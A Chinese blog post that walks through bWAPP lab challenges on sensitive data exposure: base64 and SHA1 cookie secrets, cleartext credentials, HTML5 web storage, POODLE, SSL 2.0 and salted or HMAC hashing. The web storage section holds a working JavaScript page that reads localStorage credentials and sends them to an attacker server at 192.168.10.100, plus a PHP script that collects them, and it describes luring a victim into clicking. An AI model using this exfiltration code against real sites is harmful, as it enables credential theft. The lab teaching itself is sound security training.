bWAPP Sensitive Date Exposure (敏感信息暴露)

最新推荐文章于 2025-04-17 11:20:37 发布

angry_program

最新推荐文章于 2025-04-17 11:20:37 发布

阅读量1.1k

点赞数

分类专栏： bWAPP靶场

本文链接：https://blog.csdn.net/angry_program/article/details/104808707

版权

bWAPP靶场专栏收录该内容

11 篇文章

订阅专栏

概述

由于后台人员的疏忽或者不当的设计，导致不应该被前端用户看到的数据被轻易的访问到。比如：

---通过访问url下的目录，可以直接列出目录下的文件列表;
---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
---前端的源码（html,css,js）里面包含了敏感信息，比如后台登录地址、内网接口信息、甚至账号密码等;

类似以上这些情况，我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞，但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。因此,在web应用的开发上，除了要进行安全的代码编写，也需要注意对敏感信息的合理处理。

0x01、Base64 Encoding (Secret)

Low

观察响应包, 发现secret被作为cookie传送:

并且是base64加密的,

原因是在源码中作了如下设置:

Medium&High

同理, secret用了sha1()加密。

0x02、Clear Text HTTP (Credentials)

Low

Low级别用的是http，账户密码都是明文传输的, 抓包可见:

Medium&High

查看源码, 很明显是https加密传输:

0x03、HTML5 Web Storage (Secret)

WebStorage

WebStorage是HTML新增的本地存储解决方案之一，但并不是为了取代cookie而制定的标准，cookie作为HTTP协议的一部分用来处理客户端和服务器通信是不可或缺的，session正是依赖于实现的客户端状态保持。WebStorage的意图在于解决本来不应该cookie做，却不得不用cookie的本地存储。

但是该例中不应该将secret这种重要的信息用WebStorage存储在本地。

详见: HTML 5 Web 存储

漏洞利用

Firefox: 可以看到账户信息存储在了本地:

Google Chrome: F12, application查看localtion Storage即可

既然题目要求用xss来盗取本地浏览器缓存的账户密码, 那么就可以使用跨域请求来盗取 (因为当前网页没有可控变量实行xss),

为方便演示, 写一个 xss_steal_storage.htm:

var xmlhttp;        
    // Code for IE7+, Firefox, Chrome, Opera, Safari
    if (window.XMLHttpRequest)
    {
            xmlhttp=new XMLHttpRequest();
    }
    // Code for IE6, IE5        
    else
    { 
            xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }   
    xmlhttp.onreadystatechange=function()
    {   
            if (xmlhttp.readyState==4 && xmlhttp.status==200)
            {           
                    xmlResp=xmlhttp.responseText;
                    document.getElementById("response").innerHTML=xmlResp
                    alert(localStorage.secret);
                    // steal to attacter
                    document.location="http://192.168.10.100/steal_secret.php?login=" + localStorage.login + "&secret=" + localStorage.secret
            }
    }
    xmlhttp.open("GET","http://localhost:8080/bWAPP/insecure_crypt_storage_1.php",true);
    // xmlhttp.withCredentials = true;
    xmlhttp.send();

}

</script>

<input type="button" OnClick="SendGET();" value="Attack CORS!">

<p><div id="response"></div></p>

大致意思是通过AJAX跨域请求受害主机: http://localhost:8080/bWAPP/insecure_crypt_storage_1.php,

然后将响应文本写入当前xss_steal_storage.htm的页面, 将受害主机的本地存储密码alert出来,

最后将账户和密码发送至攻击者服务器。

攻击者服务器上的steal_secret.php内容如下:

<?php
    // get login and secret
    $login = $_GET['login'];
    $secret = $_GET['secret'];
    // open file
    $file = fopen("/tmp/secret.txt", "w") or die("Unble to open file!");
    // write
    fwrite($file, $login);
    fwrite($file, $secret);
    fclose($file);
?>

诱导Victims点击 xss_steal_storage.htm:

再点击按钮触发盗取过程 (当然, 现实中不可能这么鸡肘, 这里是为了拆分演示):

最后账户和密码就成功写入攻击者服务器下了:

0x04、POODLE Vulnerability

POODLE漏洞：在Downgraded Legacy Encryption上填充Oracle

SSLv3降级加密协议Padding Oracle攻击（POODLE）技术分析

漏洞概述

SSL 3.0的历史非常久远，已经有将近15年了，现今几乎所有的浏览器都支持该协议。如今该协议爆出了一个漏洞，该漏洞由谷歌公司率先发现，下面是此漏洞的大致描述。

攻击者可利用该漏洞获取安全连接当中某些是SSLv3加密后的明文内容。因为兼容性问题，当浏览器进行HTTPS连接失败的时候，将会尝试使用旧的协议版本，这其中就包括SSL 3.0，于是加密协议由更加安全的协议（比如：TLS 1.0）降级成SSL 3.0。

攻击者在此漏洞利用中扮演一种中间人的角色，比如A，C进行通信，B（攻击者）在中间作为一个代理，B截获A，C之间的通信后经过SSLv3加密后的数据包，利用SSLv3中存在的漏洞，解密得到其数据包的明文信息，而这些明文信息极有可能是用户的隐私数据，比如Cookie，这样攻击者就可以拿到这些隐私数据，进行更深层次的攻击。

由此可见此，黑客们可以利用此漏洞。截获用户的隐私数据，进而造成了用户隐私的泄漏，危害较大，应当引起我们的高度重视，而现今唯一解决该问题的方式就是禁用SSLv3加密协议。

构造一个SSLv3的web中间人攻击

如果B服务器上的JavaScript可以让A发送大量带cookie的请求，例如让A去访问一个社交网站而A本身保存有那个社交网站的cookie（根据cookie机制每次请求肯定会使用同样的cookie）。通过构造大量SSLv3请求再结合截包替换SSL数据可以做到逐字节还原cookie字段，而在这种情况下cookie作为敏感信息，地位和用户名+密码是相同的。下面假设填充粒度为8字节，某社交网站的cookie为abcdefgh。

首先JavaScript可以让用户A生成一个图中第一行所示的明文web请求包…B服务器拿到使用CBC模式下的SSLv3数据然后将最末尾块替换为左起第四个块的密文然后反复发送这个包直到解密后的Cn[7]碰巧为7（因为每次连接key都不同），收到连接成功信息。使用之前介绍的反推公式（L为8代入）可以反推出cookie字段第8字节为’h’。

然后通过填充请求路径字段让A生成一个图中第二行所示的“右移1字节”的请求包…同样方法可以推算出cookie字段第7字节’g’。依此类推直到获取整个cookie值”abcdefg”。此时黑客通过中间人攻击已经获得用户cookie，用户隐私暴露无遗。

Text Files (Accounts)解决方案

目前解决该问题可以禁用SSL3.0，或者SSL3.0中使用的CBC模式加密，但是有可能造成兼容性问题。建议支持TLS_FALLBACK_SCSV，这可以解决重试连接失败的问题，从而防止攻击者强制浏览器使用SSL3.0。它还可以防止降级到TLS1.2至1.1或1.0，可能有助于防止未来的攻击。

0x05、SSL 2.0 Deprecated Protocol

远程服务使用具有已知弱点的旧已弃用协议对流量进行加密。

SSL 2.0是1995年第一个公开发布的SSL版本。此版本的SSL包含许多导致SSL 3.0引入的安全问题。SSL 3.0于1996年发布，完全重新设计了协议。

由于SSL2.0中出现的问题，协议使用起来不安全，应该完全禁用。
由于POODLE（Padding Oracle On Downgraded Legacy.Encryption）漏洞，SSL 3.0使用起来也不安全，应该被禁用以避免攻击者检索到安全连接的明文。此外，Elliptic Curve Cryptography不能与SSL3.0一起使用。

Internet Explorer 6是唯一仍然使用SSL3.0的浏览器。因此，除非仍然需要支持旧版Internet Explorer 6浏览器，否则应禁用SSL 3.0。

0x06、Text Files (Accounts)

Low

插入用户名和密码到文件中, 抓包可以看到, 用户名和密码都是明文传输:

这是很不安全的。

Medium

在Medium级别中, 对用户名做了xss防护, 对密码做了sha1()加密:

但是这还不是很安全，因为还是可以通过字典爆破或者暴力破解甚至可以通过查表的方式找出密码

High

而High级别的用的是hash加盐加密技术:

盐（Salt）是什么？就是一个随机生成的字符串。我们将盐与原始密码连接（concat）在一起（放在前面或后面都可以），然后将concat后的字符串加密。采用这种方式加密密码，查表法就不灵了（因为盐是随机生成的）。

但是随便加盐会有很多问题，就是如果采用md5(salt+message)，这种方式会遇到哈希长度扩展攻击

这实际上就是Hmac算法：Keyed-Hashing for Message Authentication。它通过一个标准算法，在计算哈希的过程中，把key混入计算过程中。

和我们自定义的加salt算法不同，Hmac算法针对所有哈希算法都通用，无论是MD5还是SHA-1。采用Hmac替代我们自己的salt算法，可以使程序算法更标准化，也更安全。

Python自带的hmac模块实现了标准的Hmac算法。我们来看看如何使用hmac实现带key的哈希。

>>> import hmac
>>> message = b'Hello, world!'
>>> key = b'secret'
>>> h = hmac.new(key, message, digestmod='MD5')
>>> # 如果消息很长，可以多次调用h.update(msg)
>>> h.hexdigest()
'fa4ee7d173f2d97ee79022d1a7355bcf'